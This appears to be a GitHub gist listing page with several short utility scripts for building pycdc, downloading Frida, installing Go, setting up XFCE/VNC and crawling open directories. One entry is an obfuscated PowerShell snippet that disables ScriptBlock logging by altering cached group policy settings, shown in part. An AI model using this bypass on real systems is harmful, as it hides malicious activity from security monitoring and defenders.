Skip to content

Instantly share code, notes, and snippets.

View teebow1e's full-sized avatar
💖
learning something..

Trung Tran teebow1e

💖
learning something..
View GitHub Profile
@teebow1e
teebow1e / build.sh
Created August 30, 2024 21:41
Pycdc build
#!/bin/bash
git clone https://github.com/zrax/pycdc
cd pycdc
cmake .
make
make check
./pycdc aaa.pyc
@teebow1e
teebow1e / content.md
Created September 5, 2024 18:29
[Pentest] Các nguồn lab pentest
@teebow1e
teebow1e / frida.ps1
Last active September 7, 2024 09:24
[Android] Script to download frida-server
function Download-FileWithProgress {
param (
[string]$url,
[string]$destination
)
$request = [System.Net.HttpWebRequest]::Create($url)
$request.Method = "GET"
$response = $request.GetResponse()
@teebow1e
teebow1e / ScriptBlockLogBypass.ps1
Created September 13, 2024 15:30 — forked from cobbr/ScriptBlockLogBypass.ps1
ScriptBlock Logging Bypass
# ScriptBlock Logging Bypass
# @cobbr_io
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
@teebow1e
teebow1e / install_go.sh
Last active June 13, 2025 07:23
Install latest Golang
#!/bin/bash
GOLANG="$(curl -s https://go.dev/dl/ | grep -o 'go[0-9\.]*\.linux-amd64.tar.gz' | head -n 1)"
wget https://go.dev/dl/$GOLANG
sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf $GOLANG
rm $GOLANG
unset GOLANG
echo -e 'export PATH=$PATH:/usr/local/go/bin' | tee -a ~/.bashrc
bash -c "go env"
@teebow1e
teebow1e / setup.sh
Created September 17, 2024 10:00
[Linux] Setup XFCE4+VNC for Ubuntu 22.04
#!/bin/bash
export DEBIAN_FRONTEND="noninteractive"
echo -e "[!] Installing XFCE4 and VNC server.."
sudo apt update
sudo apt install -y xfce4 xfce4-goodies tigervnc-standalone-server fonts-liberation
sudo apt remove -y xfce4-screensaver
echo -e "\n[!] Installing Chrome.."
@teebow1e
teebow1e / crawl.sh
Last active September 29, 2024 14:07
crawl opendir
#!/bin/bash
wget --recursive \
--no-parent \
--convert-links \
--random-wait --wait 3 --no-http-keep-alive \
--no-host-directories \
--execute robots=off --user-agent=Mozilla/5.0 \
--level=inf --accept '*' \
--reject="index.html*" \
@teebow1e
teebow1e / ps1_ip.md
Created September 27, 2024 17:48
add ip address of an interface to bash PS1
get_ip() {
    # Replace 'eth0' with your interface name, such as 'wlan0' for Wi-Fi
    local interface="ens33"
    ip addr show $interface 2>/dev/null | grep 'inet ' | awk '{print $2}' | cut -d'/' -f1
}

then add [$(get_ip)] to PS1 var

@teebow1e
teebow1e / gen.sh
Created October 16, 2024 07:28
[Utility] Generate hash-like string with length
#!/bin/bash
head /dev/urandom | tr -dc 'a-f0-9' | head -c 8